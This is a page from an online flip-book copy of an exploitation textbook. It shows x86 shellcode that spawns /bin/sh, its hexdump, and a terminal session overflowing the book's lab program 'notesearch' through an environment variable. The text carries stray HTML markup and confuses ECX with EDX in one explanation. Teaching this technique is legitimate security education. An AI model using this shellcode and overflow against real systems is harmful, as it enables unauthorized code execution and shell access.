26.07.2018 Views

hacking-the-art-of-exploitation

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

exec_shell.s<br />

BITS 32<br />

jmp short two ; Jump down to <strong>the</strong> bottom for <strong>the</strong> call trick.<br />

one:<br />

; int execve(const char *filename, char *const argv [], char *const envp[])<br />

pop ebx<br />

; Ebx has <strong>the</strong> addr <strong>of</strong> <strong>the</strong> string.<br />

xor eax, eax ; Put 0 into eax.<br />

mov [ebx+7], al ; Null terminate <strong>the</strong> /bin/sh string.<br />

mov [ebx+8], ebx ; Put addr from ebx where <strong>the</strong> AAAA is.<br />

mov [ebx+12], eax ; Put 32-bit null terminator where <strong>the</strong> BBBB is.<br />

lea ecx, [ebx+8] ; Load <strong>the</strong> address <strong>of</strong> [ebx+8] into ecx for argv ptr.<br />

lea edx, [ebx+12] ; Edx = ebx + 12, which is <strong>the</strong> envp ptr.<br />

mov al, 11 ; Syscall #11<br />

int 0x80<br />

; Do it.<br />

two:<br />

call one<br />

; Use a call to get string address.<br />

db '/bin/shXAAAABBBB' ; The XAAAABBBB bytes aren't needed.<br />

After terminating <strong>the</strong> string and building <strong>the</strong> arrays, <strong>the</strong> shellcode uses<br />

<strong>the</strong> lea instruction (shown in bold above) to put a pointer to <strong>the</strong> argument<br />

array into <strong>the</strong> ECX register. Loading <strong>the</strong> effective address <strong>of</strong> a bracketed<br />

register added to a value is an efficient way to add <strong>the</strong> value to <strong>the</strong> register<br />

and store <strong>the</strong> result in ano<strong>the</strong>r register. In <strong>the</strong> example above, <strong>the</strong> brackets<br />

dereference EBX+8 as <strong>the</strong> argument to lea, which loads that address into EDX.<br />

Loading <strong>the</strong> address <strong>of</strong> a dereferenced pointer produces <strong>the</strong> original pointer,<br />

so this instruction puts EBX+8 into EDX. Normally, this would require both a<br />

mov and an add instruction. When assembled, this shellcode is devoid <strong>of</strong> null<br />

bytes. It will spawn a shell when used in an exploit.<br />

reader@<strong>hacking</strong>:~/booksrc $ nasm exec_shell.s<br />

reader@<strong>hacking</strong>:~/booksrc $ wc -c exec_shell<br />

36 exec_shell<br />

reader@<strong>hacking</strong>:~/booksrc $ hexdump -C exec_shell<br />

00000000 eb 16 5b 31 c0 88 43 07 89 5b 08 89 43 0c 8d 4b |..[1..C..[..C..K|<br />

00000010 08 8d 53 0c b0 0b cd 80 e8 e5 ff ff ff 2f 62 69 |..S........../bi|<br />

00000020 6e 2f 73 68 |n/sh|<br />

00000024<br />

reader@<strong>hacking</strong>:~/booksrc $ export SHELLCODE=$(cat exec_shell)<br />

reader@<strong>hacking</strong>:~/booksrc $ ./getenvaddr SHELLCODE ./notesearch<br />

SHELLCODE will be at 0xbffff9c0<br />

reader@<strong>hacking</strong>:~/booksrc $ ./notesearch $(perl -e 'print "\xc0\xf9\xff\xbf"x40')<br />

[DEBUG] found a 34 byte note for user id 999<br />

[DEBUG] found a 41 byte note for user id 999<br />

[DEBUG] found a 5 byte note for user id 999<br />

[DEBUG] found a 35 byte note for user id 999<br />

[DEBUG] found a 9 byte note for user id 999<br />

[DEBUG] found a 33 byte note for user id 999<br />

-------[ end <strong>of</strong> note data ]-------<br />

Shellcode 297

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!